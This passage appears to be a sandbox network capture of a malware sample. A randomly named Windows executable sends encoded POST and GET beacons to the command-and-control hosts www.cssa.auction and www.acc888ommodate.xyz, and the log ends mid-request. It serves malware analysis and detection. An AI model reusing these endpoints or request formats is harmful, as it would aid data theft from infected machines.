65 71 4f 73 31 7a 32 32 35 32 6b 70 47 2f 38 2b 43 2b 6b 70 64 4c 35 47 74 32 69 48 72 6b 67 6b 34 58 30 6d 34 71 53 76 69 64 30 75 5a 31 6b 64 35 6c 75 64 34 6e 68 46 58 66 56 6c 56 38 33 48 64 66 52 53 51 38 48 72 38 35 43 6e 6a 49 67 72 49 34 55 47 78 2b 75 6a 6c 41 49 51 56 67 79 41 66 36 4f 63 66 72 4f 48 77 78 6c 59 47 61 35 31 51 44 6e 6d 6d 35 51 53 59 6b 66 59 72 50 57 33 41 51 4f 50 6b 39 37 4c 7a 6f 45 37 2f 49 65 36 46 57 57 48 54 51 6c 4a 6a 71 70 4f 2f 47 53 42 4b 41 59 68 54 68 72 4d 3d Data Ascii: 0PIXBf9=6l1oZyW0Zc0ltGie4h/NRkF2MFP1vz0m7SoZLMW75iUffak+kXjLV/lwtBB1lHqeqOs1z2252kpG/8+C+kpdL5Gt2iHrkgk4X0m4qSvid0uZ1kd5lud4nhFXfVlV83HdfRSQ8Hr85CnjIgrI4UGx+ujlAIQVgyAf6OcfrOHwxlYGa51QDnmm5QSYkfYrPW3AQOPk97LzoE7/Ie6FWWHTQlJjqpO/GSBKAYhThrM=
Nov 18, 2024 13:13:53.754245996 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 18 Nov 2024 12:13:53 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 18, 2024 13:13:53.754277945 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	53163	107.167.84.42	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:55.919303894 CET	1837	OUT	POST /g4fs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.cssa.auction Origin: http://www.cssa.auction Referer: http://www.cssa.auction/g4fs/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 36 6c 31 6f 5a 79 57 30 5a 63 30 6c 74 47 69 65 34 68 2f 4e 52 6b 46 32 4d 46 50 31 76 7a 30 6d 37 53 6f 5a 4c 4d 57 37 35 69 63 66 63 70 73 2b 32 41 2f 4c 55 2f 6c 77 72 78 42 30 6c 48 71 35 71 4e 63 50 7a 32 37 4d 32 6e 42 47 2f 5a 71 43 75 52 64 64 42 35 47 74 30 69 48 6d 67 67 6b 70 58 30 32 30 71 57 4c 69 64 30 75 5a 31 68 5a 35 79 76 64 34 68 68 46 55 59 56 6c 52 34 33 48 31 66 52 4b 71 38 48 76 47 35 79 48 6a 49 41 37 49 31 47 75 78 79 75 6a 6a 44 49 52 47 67 79 45 36 36 4f 52 6d 72 4f 44 65 78 6e 49 47 61 66 41 4a 53 30 71 75 6f 69 61 31 71 76 6b 4d 4f 58 79 39 63 65 50 62 30 70 54 6e 72 6c 58 63 51 49 4c 50 58 54 47 77 4e 58 46 33 68 4c 43 7a 57 69 55 67 46 6f 78 49 38 4c 77 39 4a 79 38 51 4e 49 5a 78 33 36 53 42 36 51 52 46 58 69 41 53 43 45 57 63 4f 47 56 65 65 62 54 53 47 44 44 4b 74 67 4e 67 33 6a 5a 4a 36 4d 4f 43 39 77 63 4e 55 45 71 68 59 70 4b 41 6c 71 4c 68 7a 35 78 69 41 4a 37 37 34 72 75 42 64 39 41 71 33 44 47 6d 6d 46 68 4f 75 53 5a 5a 36 71 6d 51 62 36 [TRUNCATED] Data Ascii: 0PIXBf9=6l1oZyW0Zc0ltGie4h/NRkF2MFP1vz0m7SoZLMW75icfcps+2A/LU/lwrxB0lHq5qNcPz27M2nBG/ZqCuRddB5Gt0iHmggkpX020qWLid0uZ1hZ5yvd4hhFUYVlR43H1fRKq8HvG5yHjIA7I1GuxyujjDIRGgyE66ORmrODexnIGafAJS0quoia1qvkMOXy9cePb0pTnrlXcQILPXTGwNXF3hLCzWiUgFoxI8Lw9Jy8QNIZx36SB6QRFXiASCEWcOGVeebTSGDDKtgNg3jZJ6MOC9wcNUEqhYpKAlqLhz5xiAJ774ruBd9Aq3DGmmFhOuSZZ6qmQb6+M27r4WGi2mNw9/tWQV4X9dJJ5P871Guax7sDl2pQtds2GsTPHO+F78Y4ITlwnqx1nQ5gq3NQEgZ29gJHW9O4oABAab95cZR4UAA9pVMYEgEI4ekYFx0MuG0jQUQO3bpcbpfMv2yqyk+Rg3XIZNxvMpRNi8M4vby/BR5ZmeJYokyBuBcvArHuVWcqXt3caz6fV9GtSHO3jDqMoiyN3aic6GhYFIhXvzPkfQmUyWrPgR6sPMfNy0Jz2pbe+Aum0eRXS3NKa6q9FA+Apa++hU0yhlgTxvZBcHBeHd0bAedCH5HEVbmAF9xghveeTp9+oP73ApDqiONT6zrXEkEzZFQ2sfRcF5kJpKuOAPIYG9nTfn+SXB79qSKvl1kqoVYYHSYinzYoH8391tRg27MzXTVLbmzpKdX3sYRmflJU1tEdr5mLahlk3FH3aPclPRvfYbCarYwhlrfvS5vQgjTkA+r6n0cZY5ov7K5yQvIy9UHZzL9UedNgT9rtm8dD8sPgl52+fS/Oi72ve6Qmhn5T5A8CJCGKJzbYKGSeOMxbtxRaW4gA14XzwAHAbNwXsoVV9n5pklHoXMe4FoVusQjfkmij7d5RwaKBH534QJ+MQkDei7C359MZ2yyYYGidicYKi4bADfMY4v6cHOGA/5vt/aWcAl60BKjmZxSe/ [TRUNCATED]
Nov 18, 2024 13:13:56.424360991 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 18 Nov 2024 12:13:56 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 18, 2024 13:13:56.424381971 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	53164	107.167.84.42	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:13:58.455259085 CET	541	OUT	GET /g4fs/?0PIXBf9=3ndIaHiqeNA3nHGd8AHkXwlYF1OgixBFyjUlI87s5QAdbYlY5Sf7asAsxRx6tHqc14Nk2leX0TZcqtK/n28nLOTw2Vfuiiw8TGap3DrxCRua9Dp2yMpF4VwKHEspiCTWJ2CwkW3F1CDu&tD_=f00xUVKh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.cssa.auction User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
Nov 18, 2024 13:13:59.085617065 CET	1236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Mon, 18 Nov 2024 12:13:58 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0
Nov 18, 2024 13:13:59.085654020 CET	253	IN	Data Raw: 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	53165	176.32.38.130	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:04.178936005 CET	822	OUT	POST /aqil/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.acc888ommodate.xyz Origin: http://www.acc888ommodate.xyz Referer: http://www.acc888ommodate.xyz/aqil/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 7a 58 59 49 48 48 6e 38 41 4c 55 67 2f 59 56 71 70 4e 53 68 6b 4e 32 41 58 37 4e 6c 33 34 48 37 36 51 78 2b 32 51 6e 36 36 58 31 4e 62 54 34 72 62 33 62 42 48 76 2b 42 75 74 2f 59 5a 77 46 6f 5a 4e 61 6d 48 68 59 6f 37 51 65 6a 34 67 48 6e 34 6b 7a 30 6d 46 4d 53 76 64 4d 76 47 73 55 48 4c 4b 68 48 5a 6e 54 75 50 6d 69 46 32 49 7a 6e 71 38 31 37 74 49 41 49 69 49 5a 47 61 73 78 6c 30 5a 6a 51 74 65 79 59 67 46 32 7a 77 47 54 66 67 4f 70 4e 51 6f 4e 6d 43 31 58 73 6e 38 31 45 63 64 70 59 49 42 79 6a 32 52 38 4c 75 45 68 41 6a 37 73 62 51 51 74 33 30 70 46 33 6c 48 36 72 63 75 62 65 2b 47 37 72 6e 69 31 70 66 61 33 58 38 77 3d 3d Data Ascii: 0PIXBf9=zXYIHHn8ALUg/YVqpNShkN2AX7Nl34H76Qx+2Qn66X1NbT4rb3bBHv+But/YZwFoZNamHhYo7Qej4gHn4kz0mFMSvdMvGsUHLKhHZnTuPmiF2Iznq817tIAIiIZGasxl0ZjQteyYgF2zwGTfgOpNQoNmC1Xsn81EcdpYIByj2R8LuEhAj7sbQQt30pF3lH6rcube+G7rni1pfa3X8w==
Nov 18, 2024 13:14:05.087698936 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:04 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	53166	176.32.38.130	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:07.044697046 CET	842	OUT	POST /aqil/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.acc888ommodate.xyz Origin: http://www.acc888ommodate.xyz Referer: http://www.acc888ommodate.xyz/aqil/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 7a 58 59 49 48 48 6e 38 41 4c 55 67 2b 35 6c 71 71 71 6d 68 73 4e 32 44 63 62 4e 6c 73 49 48 2f 36 51 74 2b 32 52 6a 54 37 6b 52 4e 61 78 67 72 61 32 62 42 4f 2f 2b 42 32 39 2f 58 55 51 46 6a 5a 4e 57 45 48 67 6b 6f 37 51 61 6a 34 6c 6a 6e 34 7a 50 7a 6e 56 4d 51 6b 39 4d 70 5a 63 55 48 4c 4b 68 48 5a 6e 48 45 50 6d 36 46 32 34 44 6e 73 64 31 34 68 6f 41 4c 68 49 5a 47 51 4d 78 66 30 5a 69 2f 74 64 32 6d 67 48 2b 7a 77 48 6a 66 6e 66 70 4f 46 59 4e 6b 4d 56 57 2b 33 4e 4e 4c 46 4e 4a 45 50 6e 43 74 77 69 67 61 6d 53 67 69 35 5a 67 33 4f 42 56 4d 77 72 68 42 79 68 6e 65 65 76 66 47 7a 6b 50 4b 34 56 51 44 53 49 57 54 71 50 31 6b 65 56 45 55 41 66 4d 34 47 59 46 42 63 35 54 58 73 39 77 3d Data Ascii: 0PIXBf9=zXYIHHn8ALUg+5lqqqmhsN2DcbNlsIH/6Qt+2RjT7kRNaxgra2bBO/+B29/XUQFjZNWEHgko7Qaj4ljn4zPznVMQk9MpZcUHLKhHZnHEPm6F24Dnsd14hoALhIZGQMxf0Zi/td2mgH+zwHjfnfpOFYNkMVW+3NNLFNJEPnCtwigamSgi5Zg3OBVMwrhByhneevfGzkPK4VQDSIWTqP1keVEUAfM4GYFBc5TXs9w=
Nov 18, 2024 13:14:07.736435890 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 18 Nov 2024 12:14:07 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	53167	176.32.38.130	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:09.585781097 CET	1855	OUT	POST /aqil/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.acc888ommodate.xyz Origin: http://www.acc888ommodate.xyz Referer: http://www.acc888ommodate.xyz/aqil/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 7a 58 59 49 48 48 6e 38 41 4c 55 67 2b 35 6c 71 71 71 6d 68 73 4e 32 44 63 62 4e 6c 73 49 48 2f 36 51 74 2b 32 52 6a 54 37 6b 5a 4e 62 41 41 72 62 56 44 42 55 2f 2b 42 6f 74 2b 77 55 51 46 2b 5a 4e 2b 41 48 67 6f 57 37 53 53 6a 2b 47 62 6e 76 33 62 7a 74 56 4d 51 72 64 4d 6f 47 73 56 54 4c 4b 78 44 5a 6e 58 45 50 6d 36 46 32 37 62 6e 37 63 31 34 6e 6f 41 49 69 49 5a 53 61 73 77 52 30 5a 61 46 74 65 62 54 67 33 65 7a 7a 6e 7a 66 6c 74 52 4f 48 34 4e 63 42 31 58 37 33 4d 77 4c 46 4f 39 69 50 6a 4c 34 77 67 77 61 32 55 38 30 73 71 59 64 5a 6e 64 50 2f 70 6f 73 38 6a 6e 56 52 65 4f 2b 34 44 6e 46 34 6b 55 72 4a 71 79 73 6e 36 5a 69 4d 44 30 6a 4a 37 77 53 48 4f 55 57 4e 72 54 50 33 74 54 4b 4b 65 42 32 46 64 56 79 63 34 39 58 48 52 47 34 52 32 71 6a 53 41 58 68 30 7a 4f 6c 67 55 69 6c 74 4b 4d 63 4b 78 73 30 6d 53 54 55 6a 6c 46 2f 48 56 37 54 31 2f 58 53 2b 73 6b 46 4e 6f 35 45 6f 78 54 59 6c 44 61 78 71 43 4c 63 64 70 4d 77 70 6b 73 58 50 6e 75 57 66 77 4d 41 2b 71 51 2f 45 50 [TRUNCATED] Data Ascii: 